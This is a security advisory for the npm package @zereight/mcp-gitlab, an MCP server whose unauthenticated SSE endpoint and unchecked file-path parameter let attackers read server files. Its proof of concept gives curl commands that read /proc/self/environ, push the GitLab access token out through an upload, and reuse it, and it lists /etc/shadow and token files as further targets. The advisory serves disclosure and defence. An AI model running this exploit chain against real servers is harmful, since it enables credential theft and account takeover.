PT-2026-93888 · Npm · @Zereight/Mcp-Gitlab

Publicado

2026-09-16

·

Atualizado

2026-09-16

CVSS v3.1

9.8

Crítica

VetorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

The SSE transport mode (SSE=true) exposes all MCP tools without any authentication. The upload markdown tool reads arbitrary files from the server's local filesystem via an unsanitized file path parameter and uploads them to a GitLab project. Combined, any unauthenticated network-reachable attacker can read /proc/self/environ to steal the server's GITLAB PERSONAL ACCESS TOKEN and achieve full GitLab account takeover. This is the default configuration for Docker deployments.

Details

Two issues chain together:
1. No authentication on SSE transport (src/index.ts:7350-7388)
When SSE=true (the intended mode for Docker deployments per docker-compose.yaml), the /sse and /messages endpoints have zero authentication middleware. Any HTTP client that can reach the port can establish a session and invoke all ~100+ tools using the server's configured PAT.
typescript
// src/index.ts:7354 — no auth check
app.get("/sse", async ( : Request, res: Response) => {
  const serverInstance = createServer();
  const transport = new SSEServerTransport("/messages", res);
  await serverInstance.connect(transport);
});
Remote Authorization (REMOTE AUTHORIZATION=true) is explicitly incompatible with SSE mode (src/index.ts:1833-1839), so there is no way to add per-request auth in this transport.
2. Arbitrary file read in upload markdown (src/index.ts:5461-5503)
The upload markdown tool calls fs.readFileSync(filePath) where filePath comes directly from user input with no validation. The Zod schema (src/schemas.ts:2150-2153) defines file path as z.string() with no path restrictions, allowlists, or sandboxing.
typescript
async function markdownUpload(projectId: string, filePath: string) {
  if (!fs.existsSync(filePath)) {
    throw new Error(`File not found: ${filePath}`);
  }
  const fileBuffer = fs.readFileSync(filePath); // Arbitrary file read — no path validation
  // ... uploads to GitLab project via POST /projects/:id/uploads
}
This tool is in the users toolset, which is enabled by default.
Docker amplification: The Dockerfile has no USER directive, so the process runs as root. The docker-compose.yaml maps 3002:3002, which binds 0.0.0.0 by default, exposing the unauthenticated endpoint to the network.

PoC

Prerequisites:
  • A running @zereight/mcp-gitlab instance with SSE=true and GITLAB PERSONAL ACCESS TOKEN set (this is the default Docker deployment config)
  • Network access to the server's port (default: 3002)
  • A GitLab project ID the PAT has write access to (use list projects to enumerate)
Steps:
bash
# 1. Connect to the unauthenticated SSE endpoint and capture the session ID
SESSION ID=$(curl -s -N http://<HOST>:3002/sse | head -1 | grep -oP 'sessionId=K[^&s]+')

# 2. (Optional) Enumerate accessible projects to find a writable project ID
curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSION ID" 
 -H "Content-Type: application/json" 
 -d '{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/call",
  "params": {
   "name": "list projects",
   "arguments": {"owned": true}
  }
 }'

# 3. Read /proc/self/environ (contains GITLAB PERSONAL ACCESS TOKEN in plaintext)
#  and upload it to a GitLab project
curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSION ID" 
 -H "Content-Type: application/json" 
 -d '{
  "jsonrpc": "2.0",
  "id": 2,
  "method": "tools/call",
  "params": {
   "name": "upload markdown",
   "arguments": {
    "project id": "<WRITABLE PROJECT ID>",
    "file path": "/proc/self/environ"
   }
  }
 }'

# 4. The response contains a GitLab upload URL like:
#  {"markdown": "![environ](/uploads/abc123def456/environ)", "url": "/uploads/abc123def456/environ"}
#
# 5. Retrieve the uploaded file from GitLab:
curl "https://gitlab.example.com/<namespace>/<project>/uploads/abc123def456/environ"

# 6. The file contains NUL-separated environment variables including:
#  GITLAB PERSONAL ACCESS TOKEN=glpat-xxxxxxxxxxxxxxxxxxxx
#
# 7. Use the stolen PAT for full GitLab API access:
curl -H "Private-Token: glpat-xxxxxxxxxxxxxxxxxxxx" "https://gitlab.example.com/api/v4/user"
Other exfiltrable targets (running as root in Docker):
FileContents
/proc/self/environAll env vars including GITLAB PERSONAL ACCESS TOKEN=glpat-xxxxx
/proc/self/cmdlineCommand line args (token if passed via CLI)
/etc/shadowSystem password hashes
/app/build/index.jsFull application source code
~/.gitlab-mcp-token.jsonOAuth tokens (if OAuth mode was used)

Impact

Unauthenticated full GitLab account takeover. Any attacker with network access to the MCP server port can steal the Personal Access Token and gain complete access to the GitLab instance as the token owner - including all repositories, CI/CD secrets and variables, deploy keys, project settings, and admin functions if the user has admin privileges. No credentials or user interaction are required. This is the default configuration for Docker deployments

Correção

Path traversal

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

GHSA-CV3R-C5H8-F4G5

Produtos afetados

@Zereight/Mcp-Gitlab